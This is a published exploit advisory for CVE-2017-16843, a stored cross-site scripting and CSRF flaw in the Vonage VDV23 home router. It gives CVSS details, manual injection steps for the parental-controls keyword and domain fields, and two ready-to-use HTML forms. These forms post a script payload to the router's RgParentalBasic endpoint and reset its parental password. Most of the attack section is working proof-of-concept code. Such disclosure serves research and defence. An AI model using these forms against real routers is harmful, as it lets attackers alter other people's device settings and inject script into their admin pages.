Vonage VDV23 Cross-Site Scripting

2017.11.17

Credit: Nu11By73

Risk: Low

Local: No

Remote: Yes

CVE: CVE-2017-16843

CWE: CWE-79

CVSS Base Score: 3.5/10

Impact Subscore: 2.9/10

Exploitability Subscore: 6.8/10

Exploit range: Remote

Attack complexity: Medium

Authentication: Single time

Confidentiality impact: None

Integrity impact: Partial

Availability impact: None

# Exploit Title: Vonage Home Router – Stored Xss
# Date: 16/11/2017
# Exploit Author: Nu11By73
# Hardware Version: VDV-23: 115
# Software Version: 3.2.11-0.9.40
# CVE : CVE-2017-16843


NewKeyword Parameter:

Login to the router
Click advanced setup
Click parental controls
In the blocked keywords text box enter: test”><script>alert(1)</script> (screenshot 1)
Click the add keyword button to receive the pop up. 

Login to the router
Click advanced setup
Click parental controls
In the block these websites text box enter: test”><script>alert(1)</script> (screenshot 1)
Click the add domain button to receive the pop up.

Proof of concept code:

NewDomain.html
<!—Note: The x and y values will need to be changed accordingly
<html>
<p>Authenticated Stored CSRF/XSS - Vonage Modem</p>
<form method="POST" action="http://192.168.15.1/goform/RgParentalBasic">
<input type="hidden" name="RemoveContentRule" value="0" />
<input type="hidden" name="AddContentRule" value="0" />
<input type="hidden" name="ContentRules" value="0" />
<input type="hidden" name="RuleSelect" value="0" / >
<input type="hidden" name="NewKeyword" value="" / >
<input type="hidden" name="KeywordAction" value="0" />
<input type="hidden" name="NewDomain" value="test'><script>alert(1)</script>" />
<input type="hidden" name="x" value="50" />
<input type="hidden" name="y" value="15" />
<input type="hidden" name="DomainAction" value="1" />
<input type="hidden" name="AllowedDomainAction" value="0" />
<input type="hidden" name="ParentalPassword" value="Broadcom" />
<input type="hidden" name="ParentalPasswordReEnter" value="Broadcom" />
<input type="hidden" name="AccessDuration" value="30" />
<input type="submit" title="Exploit" />
</form>
</html>

NewKeyword.html
<!—Note: The x and y values will need to be changed accordingly
<html>
<p>Authenticated Stored CSRF/XSS - Vonage Modem</p>
<form method="POST" action="http://192.168.15.1/goform/RgParentalBasic">
<input type="hidden" name="RemoveContentRule" value="0" />
<input type="hidden" name="AddContentRule" value="0" />
<input type="hidden" name="ContentRules" value="0" />
<input type="hidden" name="RuleSelect" value="0" / >
<input type="hidden" name="NewKeyword" value="test'><script>alert(1)</script>" / >
<input type="hidden" name="x" value="61" />
<input type="hidden" name="y" value="12" />
<input type="hidden" name="KeywordAction" value="1" />
<input type="hidden" name="NewDomain" value="" />
<input type="hidden" name="DomainAction" value="0" />
<input type="hidden" name="AllowedDomainAction" value="0" />
<input type="hidden" name="ParentalPassword" value="Broadcom" />
<input type="hidden" name="ParentalPasswordReEnter" value="Broadcom" />
<input type="hidden" name="AccessDuration" value="30" />
<input type="submit" title="Enable Service" />
</form>
</html>

See this note in RAW Version

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Vonage VDV23 Cross-Site Scripting

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